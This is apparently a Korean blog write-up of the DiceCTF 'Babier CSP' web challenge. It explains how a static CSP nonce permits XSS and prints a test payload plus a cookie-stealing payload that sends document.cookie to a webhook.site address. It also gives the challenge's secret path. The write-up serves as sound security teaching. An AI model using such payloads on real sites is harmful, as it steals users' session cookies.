[DiceCTF]의 web/Babier CSP 문제를 Review 해보도록 하겠다.

 

CSP?

Content Security Policy

 

index.js 파일이 추가적으로 제공되었다.

먼저 babier-csp.dicec.tf로 접속하면 아래와 같은 페이지가 보인다.

 

 

파인애플, 오렌지 과일이름이 나열된다.

아래는 해당 페이지의 소스코드이다.

<html>

<h1>pineapple</h1>
<a href='#' id=elem>View Fruit</a>

<script nonce=g+ojjmb9xLfE+3j9PsP/Ig==>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>

 

소스 코드를 보고 Html XSS가 가능할 것 같다고 생각했고 nonce 값이 눈에 확 들어왔다.

이 둘을 염두에 두고 추가적인 분석을 진행했다.

 

아래는 index.js의 코드이다.

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

 

여기서 주의 깊게 봐야 될 것은 nonce 값이다. 

const, 상수인 nonce가 base64로 인코딩되어 해시값을 가진다.

개발자는 nonce값을 이용해 XSS를 보안을 강화하려 한 것으로 추정된다.

그러나 코드를 유심히 살펴 보면 nonce값이 한번 생성된 후로 값에 변화가 없다는 사실을 알수 있다.

이 취약점을 이용하여 XSS를 수행해 보았다.

babier-csp.dicec.tf/?name=%3C/h1%3E%3Cscript%20nonce=g%2Bojjmb9xLfE%2B3j9PsP/Ig==%3Ealert(%27test%27)%3C/script%3E%3C!--

(+는 %2B로 해주어야 인식합니다.)

XSS test를 할때 사용한 페이로드이다.

그 결과 아래와 같이 XSS가 성공한 것을 확인 할 수 있다.

우리는 이제 마음껏 XSS를 터뜨릴 수 있게 되었다.

 

이제는 Admin Bot을 대상으로 진행해야 했다.

 

The admin will set a cookie secret equal to config.secret in index.js.

 

관리자는 쿠키가 index.js에서 secret과 config.secret이 같게 설정할 것이다.

 

위와 같은 페이지가 응답 한다.

우리는 요청을 통해 쿼리를 받아내야 하기에 서버가 필요하다.

서버를 설치하기는 너무 귀찮고 시간도 없어서 webhook.site를 사용하여 임의의 웹훅을 제공받았다.

이를 이용해 아래와 같은 페이로드를 작성하였다.

https://babier-csp.dicec.tf/?name=
</h1><script nonce="g+ojjmb9xLfE+3j9PsP/Ig==">
window.location = 
'https://webhook.site/5085a1ab-3ae7-4113-abcd-5dc78ba50611?c='%2bdocument.cookie
</script>

 

이를 통해 secret의 값을 얻을 수 있게 되었다.

url에 아래의 값을 입력해주면 flag가 나타나게 된다.

/4b36b1b8e47f761263796b1defd80745

 

굉장히 유익한 문제였다.

재미도 있고 문제 수준도 좋았다.

'Challenge > CTF' 카테고리의 다른 글

[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Missing Flavortext  (0) 2021.02.16
CYBRICS CAPTURE THE FLAG  (0) 2020.07.28

+ Recent posts